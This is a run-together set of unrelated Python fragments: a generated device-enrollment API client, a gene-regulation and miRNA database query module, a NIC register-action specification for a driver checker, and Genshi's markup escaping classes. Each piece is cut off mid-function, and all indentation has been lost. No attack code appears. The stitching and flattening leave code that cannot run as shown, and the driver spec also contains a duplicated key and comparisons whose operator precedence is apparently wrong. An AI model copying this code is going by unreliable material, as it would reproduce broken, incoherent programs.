asynchronously, returns the request thread. :rtype: HrefResponse """ kwargs['_return_http_data_only'] = True return self.v1_device_enrollments_id_history_post_with_http_info(id, object_history_note, **kwargs) # noqa: E501 def v1_device_enrollments_id_history_post_with_http_info(self, id, object_history_note, **kwargs): # noqa: E501 """Add Device Enrollment history object notes # noqa: E501 Adds device enrollment history object notes # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_device_enrollments_id_history_post_with_http_info(id, object_history_note, async_req=True) >>> result = thread.get() :param id: Device Enrollment Instance identifier (required) :type id: str :param object_history_note: History notes to create (required) :type object_history_note: ObjectHistoryNote :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(HrefResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'id', 'object_history_note' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v1_device_enrollments_id_history_post" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `v1_device_enrollments_id_history_post`") # noqa: E501 # verify the required parameter 'object_history_note' is set if self.api_client.client_side_validation and ('object_history_note' not in local_var_params or # noqa: E501 local_var_params['object_history_note'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `object_history_note` when calling `v1_device_enrollments_id_history_post`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'object_history_note' in local_var_params: body_params = local_var_params['object_history_note'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 response_types_map = { 201: "HrefResponse", 503: "ApiError", } return self.api_client.call_api( '/v1/device-enrollments/{id}/history', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) def v1_device_enrollments_id_put(self, id, device_enrollment_instance, **kwargs): # noqa: E501 """Update a Device Enrollment Instance with the supplied id # noqa: E501 Updates a Device Enrollment Instance with the supplied id # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_device_enrollments_id_put(id, device_enrollment_instance, async_req=True) >>> result = thread.get() :param id: Device Enrollment Instance identifier (required) :type id: str :param device_enrollment_instance: (required) :type device_enrollment_instance: DeviceEnrollmentInstance :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: DeviceEnrollmentInstance """ kwargs['_return_http_data_only'] = True return self.v1_device_enrollments_id_put_with_http_info(id, device_enrollment_instance, **kwargs) # noqa: E501 def v1_device_enrollments_id_put_with_http_info(self, id, device_enrollment_instance, **kwargs): # noqa: E501 """Update a Device Enrollment Instance
""" dbname = dict() target_names = [] if self.tfdb is not None: if tf_names: t = (tf_names[0],) res = self.tfdb.execute("SELECT DISTINCT Target,dbnames FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = [r[0] for r in res] for r in res: dbname[(tf_names[0],r[0])] = r[1] else: raise TFNotFoundException if len(tf_names) > 1: for i in range(1,len(tf_names)): t = (tf_names[i],) res = self.tfdb.execute("SELECT DISTINCT Target,dbnames FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = list(set(target_names) & set([r[0] for r in res])) for r in res: dbname[(tf_names[i],r[0])] = r[1] else: raise TFNotFoundException #For families, not consider dbname for now if fmembers: for f in fmembers: ftarget = set() for m in fmembers[f]: t = (m.name,) res = self.tfdb.execute("SELECT DISTINCT Target FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: ftarget = ftarget.union(set([r[0] for r in res])) if ftarget: target_names = list(set(target_names) & ftarget) else: raise TFNotFoundException return target_names,dbname def find_targets_tissue(self,tf_names, tissue_name): """ Return Targets regulated by the tf list in a given tissue """ target_names = set() if self.tfdb is not None: regstr = '%' + tissue_name + '%' t = (tf_names[0], regstr) res = self.tfdb.execute("SELECT DISTINCT Target FROM Target2TF2Tissue " "WHERE TF = ? AND Tissue LIKE ? ", t).fetchall() if res: target_names = set([r[0] for r in res]) else: return [] if len(tf_names) > 1: for i in range(1,len(tf_names)): t = (tf_names[i],regstr) res = self.tfdb.execute("SELECT DISTINCT Target FROM Target2TF2Tissue " "WHERE TF = ? AND Tissue LIKE ? ", t).fetchall() if res: target_names = set(target_names) & set([r[0] for r in res]) else: return [] return target_names def find_genes_GO_tf(self, go_name, tf_names): """ Return GO terms and genes regulated by tf_names """ res_go_ids = [] res_go_types = [] res_go_names = [] res_go_genes = dict() if self.tfdb is not None: t = (tf_names[0],) res = self.tfdb.execute("SELECT DISTINCT Target FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = [r[0] for r in res] else: raise TFNotFoundException if (len(tf_names)>1): for i in range(1,len(tf_names)): t = (tf_names[i],) res = self.tfdb.execute("SELECT DISTINCT Target FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = list(set(target_names) & set([r[0] for r in res])) else: raise TFNotFoundException regstr = '%' + go_name + '%' t = (regstr,) res = self.tfdb.execute("SELECT * FROM goInfo " "WHERE goName LIKE ? ", t).fetchall() #print('res=%s' % res) if not res: raise GONotFoundException else: record_ids = [r[0] for r in res] go_ids = [r[1] for r in res] go_types = [r[3] for r in res] go_names = [r[2] for r in res] #search genes for i in range(len(record_ids)): t = (record_ids[i],) res1 = self.tfdb.execute("SELECT DISTINCT geneSymbol FROM go2Genes " "WHERE termId = ? ", t).fetchall() tmp = list(set(target_names) & set([r[0] for r in res1])) if len(tmp): res_go_ids.append(go_ids[i]) res_go_types.append(go_types[i]) res_go_names.append(go_names[i]) tmp.sort() res_go_genes[go_ids[i]] = tmp return res_go_ids,res_go_types,res_go_names,res_go_genes def find_genes_GO_tf2(self, go_id, tf_names): """ Return GO terms and genes regulated by tf_names """ res_go_ids = [] res_go_types = [] res_go_names = [] res_go_genes = dict() if self.tfdb is not None: t = (tf_names[0],) res = self.tfdb.execute("SELECT DISTINCT Target FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = [r[0] for r in res] else: raise TFNotFoundException if (len(tf_names)>1): for i in range(1,len(tf_names)): t = (tf_names[i],) res = self.tfdb.execute("SELECT DISTINCT Target FROM CombinedDB " "WHERE TF = ? ", t).fetchall() if res: target_names = list(set(target_names) & set([r[0] for r in res])) else: raise TFNotFoundException #regstr = '%' + go_name + '%' t = (go_id,) res = self.tfdb.execute("SELECT * FROM goInfo " "WHERE goId = ? ", t).fetchall() if not res: raise GONotFoundException else: record_id = [r[0] for r in res] go_ids = [r[1] for r in res] go_names = [r[2] for r in res] go_types = [r[3] for r in res] #search genes for i in range(len(record_id)): t = (record_id[i],) res1 = self.tfdb.execute("SELECT DISTINCT geneSymbol FROM go2Genes " "WHERE termId = ? ", t).fetchall() tmp = list(set(target_names) & set([r[0] for r in res1])) if len(tmp): res_go_ids.append(go_ids[i]) res_go_types.append(go_types[i]) res_go_names.append(go_names[i]) tmp.sort() res_go_genes[go_ids[i]] = tmp return res_go_ids,res_go_types,res_go_names,res_go_genes def Is_miRNA_target(self, miRNA_name_dict, target_name): """ Return True if the miRNA regulates the target, and False if not; also return evidence for provenance support query example: Does miR-20b-5p target STAT3? """ expr = defaultdict(list) supt = defaultdict(list) pmid = defaultdict(list) miRNA_mis = dict() miRNA_name = list(miRNA_name_dict.keys())[0] if self.tfdb is not None: t = (miRNA_name, target_name) res = self.tfdb.execute("SELECT * FROM mirnaInfo WHERE mirna LIKE ? " "AND target = ? ", t).fetchall() if res: for r in res: expr[target_name].append(r[3]) supt[target_name].append(r[4]) pmid[target_name].append(str(r[5])) return True, expr, supt, pmid, miRNA_mis else: #check if miRNA_name in the database t = (miRNA_name,) res = self.tfdb.execute("SELECT * FROM mirnaInfo WHERE mirna LIKE ? ", t).fetchall() if not res: miRNA_mis[miRNA_name] = miRNA_name_dict[miRNA_name] return False, expr, supt, pmid, miRNA_mis def Is_miRNA_target_strength(self, miRNA_name_dict, target_name, strength): """ Return True if the miRNA regulates the target, and False if not; also return evidence for provenance support query example: Does miR-20b-5p target STAT3? """ expr = defaultdict(list) supt = defaultdict(list) pmid = defaultdict(list) miRNA_mis = dict() miRNA_name = list(miRNA_name_dict.keys())[0] if self.tfdb is not None: t = (miRNA_name, target_name, '%Weak%') if strength == 'strong': res = self.tfdb.execute("SELECT * FROM mirnaInfo WHERE mirna LIKE ? " "AND target = ? AND supportType NOT LIKE ?", t).fetchall() else: res = self.tfdb.execute("SELECT * FROM mirnaInfo WHERE mirna LIKE ? " "AND target = ? AND supportType LIKE ?", t).fetchall() if res: for r in res: expr[target_name].append(r[3]) supt[target_name].append(r[4]) pmid[target_name].append(str(r[5])) return True, expr, supt, pmid, miRNA_mis else: #check if miRNA_name in the database t = (miRNA_name,) res = self.tfdb.execute("SELECT * FROM mirnaInfo WHERE mirna LIKE ? ", t).fetchone() if not res and (not miRNA_name[-1] in ['P', 'p']): miRNA_mis[miRNA_name] = miRNA_name_dict[miRNA_name] return False, expr, supt, pmid, miRNA_mis def find_miRNA_target(self, target_names): """ Return miRNAs regulating all the given targets example: What microRNAs target STAT3? parameter ---------- target_names: list """ miRNAs = set() expr = defaultdict(list) supt = defaultdict(list) pmid = defaultdict(list) if self.tfdb is not None: t = (target_names[0],) res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? ", t).fetchall() if res: for r in res: miRNAs.add(r[1]) expr[(r[1],target_names[0])].append(r[3]) supt[(r[1],target_names[0])].append(r[4]) pmid[(r[1],target_names[0])].append(str(r[5])) else: raise TargetNotFoundException if len(target_names)>1: for i in range(1,len(target_names)): t = (target_names[i],) res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? ", t).fetchall() if res: miRNAs = miRNAs & set([r[1] for r in res]) for r in res: expr[(r[1],target_names[i])].append(r[3]) supt[(r[1],target_names[i])].append(r[4]) pmid[(r[1],target_names[i])].append(str(r[5])) else: raise TargetNotFoundException return miRNAs,expr,supt,pmid def find_miRNA_target_strength(self, target_names, evidence_strength): """ Return miRNAs regulating all the given targets example: What microRNAs target STAT3? parameter ---------- target_names: list """ miRNAs = set() expr = defaultdict(list) supt = defaultdict(list) pmid = defaultdict(list) if self.tfdb is not None: if evidence_strength == 'strong': t = (target_names[0],'%Weak%') res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? AND supportType NOT LIKE ?", t).fetchall() else: t = (target_names[0], '%Weak%') res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? AND supportType LIKE ?", t).fetchall() if res: for r in res: miRNAs.add(r[1]) expr[(r[1],target_names[0])].append(r[3]) supt[(r[1],target_names[0])].append(r[4]) pmid[(r[1],target_names[0])].append(str(r[5])) else: raise TargetNotFoundException if len(target_names)>1: if evidence_strength == 'strong': for i in range(1,len(target_names)): t = (target_names[i],'%Weak%') res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? AND supportType NOT LIKE ?", t).fetchall() if res: miRNAs = miRNAs & set([r[1] for r in res]) for r in res: expr[(r[1],target_names[i])].append(r[3]) supt[(r[1],target_names[i])].append(r[4]) pmid[(r[1],target_names[i])].append(str(r[5])) else: raise TargetNotFoundException else: for i in range(1,len(target_names)): t = (target_names[i],'%Weak%') res = self.tfdb.execute("SELECT * FROM mirnaInfo " "WHERE target = ? AND supportType LIKE ?", t).fetchall() if res: miRNAs = miRNAs & set([r[1] for r in res]) for r in res: expr[(r[1],target_names[i])].append(r[3]) supt[(r[1],target_names[i])].append(r[4]) pmid[(r[1],target_names[i])].append(str(r[5])) else: raise TargetNotFoundException return miRNAs,expr,supt,pmid def find_target_miRNA(self, miRNA_name_dict): """ Return Targets regulated by the given miRNAs example: What genes does miR-20b-5p target? parameter ------------
<filename>tool/klint/fullstack/spec_act.py<gh_stars>1-10 from .ast_util import Node from .ast_util import AST promiscuous = { # Actions related to # 7.1.1.1 - L2 Filtering # ---------------------------------- "Disable Receive" : { "precond" : Node(AST.Reg, ["RXCTRL.RXEN"]), "action" : Node(AST.Clear, [Node(AST.Reg, ["RXCTRL.RXEN"])]), }, "Enable Receive" : { "precond" : Node(AST.Not, [Node(AST.Reg, ["RXCTRL.RXEN"])]), "action" : Node(AST.Set, [Node(AST.Reg, ["RXCTRL.RXEN"])]), }, # 8.2.3.7.1 # Before receive filters are updated or modified the RXCTRL.RXEN bit should be # set to 0b. After the proper filters have been set the RXCTRL.RXEN bit can be # set to 1b to re-enable the receiver" "Set Unicast Filtering" : { "precond" : Node(AST.Not, [Node(AST.Reg, ["RXCTRL.RXEN"])]), "action" : Node(AST.Set, [Node(AST.Reg, ["FCTRL.UPE"])]), }, "Set Multicast Filtering" : { "precond" : Node(AST.Not, [Node(AST.Reg, ["RXCTRL.RXEN"])]), "action" : Node(AST.Set, [Node(AST.Reg, ["FCTRL.MPE"])]), }, "Set Broadcast Filtering" : { "precond" : Node(AST.Not, [Node(AST.Reg, ["RXCTRL.RXEN"])]), "action" : Node(AST.Set, [Node(AST.Reg, ["FCTRL.BAM"])]), }, } enable_receive_queue = { # Actions related to # 4.6.7 - Receive Initialisation # ---------------------------------- # The following should be done per each receive queue: # 1. Allocate a region of memory for the receive descriptor # list. # 2. Receive buffers of appropriate size should be allocated # and pointers to these buffers should be stored in the descriptor ring. # 3. Program the descriptor base address with the address of the # region (registers RDBAL, RDBAH). "Program RDBAH" : { # Validation will automatically add None for precond and # postcond. "action" : Node(AST.Write, [ # .. into .. Node(AST.Reg, ["RDBAH.RDBAH"]), # .. a value that can pass .. Node(AST.Value, [lambda bv: True])]), }, "Program RDBAL" : { "action" : Node(AST.Write, [ # .. into .. Node(AST.Reg, ["RDBAL.RDBAL"]), # .. a value that can pass .. Node(AST.Value, [lambda bv: True])]), }, # 4. Set the length register to the size of the descriptor # ring (register RDLEN). "Program RDLEN" : { "action" : Node(AST.Write, [ # .. into .. Node(AST.Reg, ["RDLEN.LEN"]), # .. a value that can pass .. Node(AST.Value, [ # "Validated lengths up to 128 K (8 K descriptors)." lambda bv: (bv[7:0] == 0) & (bv[19:18] == 0) ])]) }, # 5. Program SRRCTL associated with this queue according to the # size of the buffers and the required header control. "Program Receive Buffer Size for Packet Buffer." : { "action" : Node(AST.Write, [ # .. into .. Node(AST.Reg, ["SRRCTL.BSIZEPACKET"]), # .. a value that can pass .. Node(AST.Value, [ # Value can be from 1 KB to 16 KB. lambda bv: (bv >= 1) & (bv <= 16) ])]) }, "Program Receive Buffer Size for Header Buffer." : { "action" : Node(AST.Write, [ Node(AST.Reg, ["SRRCTL.BSIZEHEADER"]), Node(AST.Value, [ # The value is in 64 bytes resolution. Value can be # from 64 bytes to 1024 bytes. # "BSIZEHEADER must be bigger than zero if DESCTYPE # is equal to 010b, 011b, 100b or 101b." But it already # cannot be set to 0.. lambda bv: (bv >= 1) & (bv <= 16) ])]) }, "Program Receive Descriptor Minimum Threshold Size." : { "action" : Node(AST.Write, [ Node(AST.Reg, ["SRRCTL.RDMTS"]), Node(AST.Value, [lambda bv: True])]) }, "Program Descriptor Type." : { "action" : Node(AST.Write, [ Node(AST.Reg, ["SRRCTL.DESCTYPE"]), Node(AST.Value, [ lambda bv: bv == 0b000 | bv == 0b001 | bv == 0b010 | bv == 0b101 ])]) }, "Disable Drop" : { "action" : Node(AST.Clear, [Node(AST.Reg, ["SRRCTL.Drop_En"])]), }, "Enable Drop" : { "action" : Node(AST.Set, [Node(AST.Reg, ["SRRCTL.Drop_En"])]), }, # 6.If header split is required for this queue, # program the appropriate PSRTYPE for the appropriate headers. "Enable Split NFS header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type1"])]), }, "Enable Split TCP header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type4"])]), }, "Enable Split UDP header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type5"])]), }, "Enable Split IPv4 header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type8"])]), }, "Enable Split IPv6 header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type9"])]), }, "Enable Split L2 header" : { "action" : Node(AST.Set, [Node(AST.Reg, ["PRSTYPE.PSR_type12"])]), }, "Set RSS redirection bits" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["PRSTYPE.RQPL"]), Node(AST.Value, [ #"Valid values are zero, 0001b and 0010b." lambda bv: bv == 0b0000 | bv == 0b0010 | bv == 0b0001 ])]) }, # 7. Program RSC mode for the queue via the RSCCTL # register. "Enable RSC" : { "action" : Node(AST.Set, [Node(AST.Reg, ["RSCCTL.RSCEN"])]), }, # 8. Program RXDCTL with appropriate values including the queue # Enable bit. "Enable Receive Queue Enable" : { "action" : Node(AST.Set, [Node(AST.Reg, ["RXDCTL.ENABLE"])]), # 9. Poll the RXDCTL register until the Enable bit is set. The # tail should not be bumped before this bit was read as 1b. "postcond" : Node(AST.DelaySet, [Node(AST.Reg, ["RXDCTL.ENABLE"])]) }, # 10. Bump the tail pointer (RDT) to enable descriptors fetching # by setting it to the ring length minus one. "Bump Receive Tail Pointer" : { "precond" : Node(AST.Reg, ["RXDCTL.ENABLE"]), "action" : Node(AST.Write, [ Node(AST.Reg, ["RDT.RDT"]), Node(AST.Value, [ # Allow writing everything, check for consistency at # the end. lambda bv: True ])]) }, # 11. Enable the receive path by setting RXCTRL.RXEN. This # should be done only after all other settings are done # following the steps below. # — Halt the receive data path by setting SECRXCTRL.RX_DIS bit. "Halt the receive data path" : { "action" : Node(AST.Set, [Node(AST.Reg, ["SECRXCTRL.RX_DIS"])]), # — Wait for the data paths to be emptied by HW. Poll the # SECRXSTAT.SECRX_RDY bit until it is asserted by HW. # Let's make SECRX_RDY pollable: "postcond" : Node(AST.DelaySet, [Node(AST.Reg, ["SECRXSTAT.SECRX_RDY"])]) }, # — Set RXCTRL.RXEN "Set RXCTRL.RXEN" : { "precond" : Node(AST.Reg, ["SECRXSTAT.SECRX_RDY"]), "action" : Node(AST.Set, [Node(AST.Reg, ["RXCTRL.RXEN"])]), }, # — Clear the SECRXCTRL.RX_DIS bit to enable receive data path "Enable the receive data path" : { "precond" : Node(AST.Reg, ["RXCTRL.RXEN"]), "action" : Node(AST.Clear, [Node(AST.Reg, ["SECRXCTRL.RX_DIS"])]) }, # Set bit 16 of the CTRL_EXT register and clear bit 12 of the # DCA_RXCTRL[n] register[n]. "Set No Snoop Disable" : { # If legacy descriptors are used, this bit should be set to 1b. "action" : Node(AST.Set, [Node(AST.Reg, ["CTRL_EXT.NS_DIS"])]), }, "Clear bit 12 of DCA_RXCTRL" : { "action" : Node(AST.Clear, [Node(AST.Reg, ["DCA_RXCTRL.Special_Reserved"])]), }, } enable_transmit_queue = { "Program TDBAL" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDBAL.TDBAL"]), Node(AST.Value, [lambda bv: True])]), }, "Program TDBAH" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDBAH.TDBAH"]), Node(AST.Value, [lambda bv: True])]), }, # 3. Set the length register to the size of the descriptor ring # (TDLEN). "Program TDLEN" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDLEN.LEN"]), Node(AST.Value, [ # "Validated lengths up to 128 K (8 K descriptors)." lambda bv: (bv[7:0] == 0) & (bv[19:18] == 0) ])]) }, # 4. Program the TXDCTL register with the desired Tx descriptor # write back policy. "Program PTHRESH" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TXDCTL.PTHRESH"]), # Any value will be OK, do cross field consistency check # during validation Node(AST.Value, [lambda bv: True])]), }, "Program HTHRESH" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TXDCTL.HTHRESH"]), # Any value will be OK, do cross field consistency check # during validation Node(AST.Value, [lambda bv: True])]), }, # 5. If needed, set TDWBAL and TWDBAH to enable head write back. "Program TDWBAL" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDBAL.TDBAL"]), Node(AST.Value, [lambda bv: True])]), }, "Set Head Write-Back Enable" : { "action" : Node(AST.Set, [Node(AST.Reg, ["TDWBAL.Head_WB_En"])]) }, "Program TDWBAL" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDWBAL.HeadWB_Low"]), Node(AST.Value, [lambda bv: bv[1:0] == 0x0 ])]), }, "Program TDWBAH" : { "action" : Node(AST.Write, [ Node(AST.Reg, ["TDWBAH.HeadWB_High"]), Node(AST.Value, [lambda bv: True])]), }, "Disable relaxed ordering of head pointer" : { "action" : Node(AST.Clear, [Node(AST.Reg, ["DCA_TXCTRL.TXdescWBROen"])]), }, # 6. Enable transmit path by setting DMATXCTL.TE. This step
for event in stream: yield event class Attrs(tuple): """Immutable sequence type that stores the attributes of an element. Ordering of the attributes is preserved, while access by name is also supported. >>> attrs = Attrs([('href', '#'), ('title', 'Foo')]) >>> attrs Attrs([('href', '#'), ('title', 'Foo')]) >>> 'href' in attrs True >>> 'tabindex' in attrs False >>> attrs.get('title') 'Foo' Instances may not be manipulated directly. Instead, the operators ``|`` and ``-`` can be used to produce new instances that have specific attributes added, replaced or removed. To remove an attribute, use the ``-`` operator. The right hand side can be either a string or a set/sequence of strings, identifying the name(s) of the attribute(s) to remove: >>> attrs - 'title' Attrs([('href', '#')]) >>> attrs - ('title', 'href') Attrs() The original instance is not modified, but the operator can of course be used with an assignment: >>> attrs Attrs([('href', '#'), ('title', 'Foo')]) >>> attrs -= 'title' >>> attrs Attrs([('href', '#')]) To add a new attribute, use the ``|`` operator, where the right hand value is a sequence of ``(name, value)`` tuples (which includes `Attrs` instances): >>> attrs | [('title', 'Bar')] Attrs([('href', '#'), ('title', 'Bar')]) If the attributes already contain an attribute with a given name, the value of that attribute is replaced: >>> attrs | [('href', 'http://example.org/')] Attrs([('href', 'http://example.org/')]) """ __slots__ = [] def __contains__(self, name): """Return whether the list includes an attribute with the specified name. :return: `True` if the list includes the attribute :rtype: `bool` """ for attr, _ in self: if attr == name: return True def __getitem__(self, i): """Return an item or slice of the attributes list. >>> attrs = Attrs([('href', '#'), ('title', 'Foo')]) >>> attrs[1] ('title', 'Foo') >>> attrs[1:] Attrs([('title', 'Foo')]) """ items = tuple.__getitem__(self, i) if type(i) is slice: return Attrs(items) return items def __getslice__(self, i, j): """Return a slice of the attributes list. >>> attrs = Attrs([('href', '#'), ('title', 'Foo')]) >>> attrs[1:] Attrs([('title', 'Foo')]) """ return Attrs(tuple.__getslice__(self, i, j)) def __or__(self, attrs): """Return a new instance that contains the attributes in `attrs` in addition to any already existing attributes. :return: a new instance with the merged attributes :rtype: `Attrs` """ repl = dict([(an, av) for an, av in attrs if an in self]) return Attrs([(sn, repl.get(sn, sv)) for sn, sv in self] + [(an, av) for an, av in attrs if an not in self]) def __repr__(self): if not self: return 'Attrs()' return 'Attrs([%s])' % ', '.join([repr(item) for item in self]) def __sub__(self, names): """Return a new instance with all attributes with a name in `names` are removed. :param names: the names of the attributes to remove :return: a new instance with the attribute removed :rtype: `Attrs` """ if isinstance(names, basestring): names = (names,) return Attrs([(name, val) for name, val in self if name not in names]) def get(self, name, default=None): """Return the value of the attribute with the specified name, or the value of the `default` parameter if no such attribute is found. :param name: the name of the attribute :param default: the value to return when the attribute does not exist :return: the attribute value, or the `default` value if that attribute does not exist :rtype: `object` """ for attr, value in self: if attr == name: return value return default def totuple(self): """Return the attributes as a markup event. The returned event is a `TEXT` event, the data is the value of all attributes joined together. >>> Attrs([('href', '#'), ('title', 'Foo')]).totuple() ('TEXT', '#Foo', (None, -1, -1)) :return: a `TEXT` event :rtype: `tuple` """ return TEXT, ''.join([x[1] for x in self]), (None, -1, -1) class Markup(unicode): """Marks a string as being safe for inclusion in HTML/XML output without needing to be escaped. """ __slots__ = [] def __add__(self, other): return Markup(unicode.__add__(self, escape(other))) def __radd__(self, other): return Markup(unicode.__add__(escape(other), self)) def __mod__(self, args): if isinstance(args, dict): args = dict(zip(args.keys(), map(escape, args.values()))) elif isinstance(args, (list, tuple)): args = tuple(map(escape, args)) else: args = escape(args) return Markup(unicode.__mod__(self, args)) def __mul__(self, num): return Markup(unicode.__mul__(self, num)) __rmul__ = __mul__ def __repr__(self): return "<%s %s>" % (type(self).__name__, unicode.__repr__(self)) def join(self, seq, escape_quotes=True): """Return a `Markup` object which is the concatenation of the strings in the given sequence, where this `Markup` object is the separator between the joined elements. Any element in the sequence that is not a `Markup` instance is automatically escaped. :param seq: the sequence of strings to join :param escape_quotes: whether double quote characters in the elements should be escaped :return: the joined `Markup` object :rtype: `Markup` :see: `escape` """ return Markup(unicode.join(self, [escape(item, quotes=escape_quotes) for item in seq])) @classmethod def escape(cls, text, quotes=True): """Create a Markup instance from a string and escape special characters it may contain (<, >, & and \"). >>> escape('"1 < 2"') <Markup u'&#34;1 &lt; 2&#34;'> If the `quotes` parameter is set to `False`, the \" character is left as is. Escaping quotes is generally only required for strings that are to be used in attribute values. >>> escape('"1 < 2"', quotes=False) <Markup u'"1 &lt; 2"'> :param text: the text to escape :param quotes: if ``True``, double quote characters are escaped in addition to the other special characters :return: the escaped `Markup` string :rtype: `Markup` """ if not text: return cls() if type(text) is cls: return text if hasattr(text, '__html__'): return Markup(text.__html__()) text = text.replace('&', '&amp;') \ .replace('<', '&lt;') \ .replace('>', '&gt;') if quotes: text = text.replace('"', '&#34;') return cls(text) def unescape(self): """Reverse-escapes &, <, >, and \" and returns a `unicode` object. >>> Markup('1 &lt; 2').unescape() u'1 < 2' :return: the unescaped string :rtype: `unicode` :see: `genshi.core.unescape` """ if not self: return '' return unicode(self).replace('&#34;', '"') \ .replace('&gt;', '>') \ .replace('&lt;', '<') \ .replace('&amp;', '&') def stripentities(self, keepxmlentities=False): """Return a copy of the text with any character or numeric entities replaced by the equivalent UTF-8 characters. If the `keepxmlentities` parameter is provided and evaluates to `True`, the core XML entities (``&amp;``, ``&apos;``, ``&gt;``, ``&lt;`` and ``&quot;``) are not stripped. :return: a `Markup` instance with entities removed :rtype: `Markup` :see: `genshi.util.stripentities` """ return Markup(stripentities(self, keepxmlentities=keepxmlentities)) def striptags(self): """Return a copy of the text with all XML/HTML tags removed. :return: a `Markup` instance with all tags removed :rtype: `Markup` :see: `genshi.util.striptags` """ return Markup(striptags(self)) try: from genshi._speedups import Markup except ImportError: pass # just use the Python implementation escape = Markup.escape def unescape(text): """Reverse-escapes &, <, >, and \" and returns a `unicode` object. >>> unescape(Markup('1 &lt; 2')) u'1 < 2' If the provided `text` object is not a `Markup` instance, it is returned unchanged. >>> unescape('1 &lt; 2') '1 &lt; 2' :param text: the text to unescape :return: the unescsaped string :rtype: `unicode` """ if not isinstance(text, Markup): return text return text.unescape() class Namespace(object): """Utility class creating and testing elements with a namespace. Internally, namespace URIs are encoded in the `QName` of any element or attribute, the namespace URI being enclosed in curly braces. This class helps create and test these strings. A `Namespace` object is instantiated with the namespace URI. >>> html = Namespace('http://www.w3.org/1999/xhtml') >>> html Namespace('http://www.w3.org/1999/xhtml') >>> html.uri u'http://www.w3.org/1999/xhtml' The `Namespace` object can than be used to generate `QName` objects with that namespace: >>> html.body QName('http://www.w3.org/1999/xhtml}body') >>> html.body.localname u'body' >>> html.body.namespace u'http://www.w3.org/1999/xhtml' The same works using item access notation, which is useful for element or attribute names that are not valid Python identifiers: >>> html['body'] QName('http://www.w3.org/1999/xhtml}body') A `Namespace` object can also be used to test whether a specific `QName` belongs to that namespace using the ``in`` operator: >>> qname = html.body >>> qname in html True >>> qname in Namespace('http://www.w3.org/2002/06/xhtml2') False """ def __new__(cls, uri): if
